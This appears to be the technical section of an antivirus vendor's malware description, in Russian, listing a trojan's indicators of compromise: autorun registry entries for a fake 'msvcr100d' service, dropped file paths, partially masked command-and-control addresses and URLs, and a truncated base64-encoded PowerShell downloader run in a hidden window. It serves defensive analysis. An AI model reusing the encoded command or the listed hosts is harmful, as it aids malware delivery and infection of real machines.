Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\msvcr100d] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\msvcr100d] 'ImagePath' = '"%WINDIR%\SysWOW64\nlhtml\msvcr100d.exe"'
- 'msvcr100d' "%WINDIR%\SysWOW64\nlhtml\msvcr100d.exe"
- 'msvcr100d' %WINDIR%\SysWOW64\nlhtml\msvcr100d.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIAHAAegBsADQAcwBsAD0AKAAnAEMAJwArACgAJwA5ADEAJwArACcAegBsACcAKwAnAHEAegAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBTAEUAUgBQAHIAbwBGAEkAbABFAFwAZABSAD...
- %HOMEPATH%\dr4c27o\cakay24\cwsfqtzu.exe
- %WINDIR%\syswow64\nlhtml\msvcr100d.exe
- %HOMEPATH%\dr4c27o\cakay24\cwsfqtzu.exe в %WINDIR%\syswow64\nlhtml\msvcr100d.exe
- '14#.#86.212.146':80
- http://ti####medesign.com/wp-admin/ePBOfxY/
- http://14#.#86.212.146/G3e0MPuvKN5/cGF1ifTH0aKcI/m31R9kFHXdWeXD/TuoK9haqxH2M/
- DNS ASK ti####medesign.com
- '%HOMEPATH%\dr4c27o\cakay24\cwsfqtzu.exe'
- '%WINDIR%\syswow64\nlhtml\msvcr100d.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIAHAAegBsADQAcwBsAD0AKAAnAEMAJwArACgAJwA5ADEAJwArACcAegBsACcAKwAnAHEAegAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBTAEUAUgBQAHIAbwBGAEkAbABFAFwAZABSAD...' (со скрытым окном)